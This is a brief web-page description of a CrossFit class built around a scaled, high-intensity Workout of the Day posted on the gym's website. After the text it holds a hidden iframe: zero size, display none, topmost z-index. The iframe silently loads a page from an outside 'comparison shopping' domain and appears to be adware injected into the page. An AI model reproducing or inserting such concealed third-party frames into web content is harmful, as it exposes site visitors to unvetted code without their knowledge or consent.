Varied if not random functional movements done at high
intensity. The CrossFit class focuses on the Workout of the Day
(WOD) as posted on the website www.tamcrossfit.com. The WODs are
scaled and modified to each athlete's level and performed at the
highest intensity that the individual can sustain with good form
and proper technique.
<iframe id="comparison_shopping_sf_id" style="position: fixed; right: 0px; bottom: 0px; z-index: 2147483647; display: none; padding: 0px; margin: 0px; border: initial none initial;" src="https://inst.shoppingate.info/js/sg_sf.html" width="0" height="0" name="comparison_shopping_sf_id" />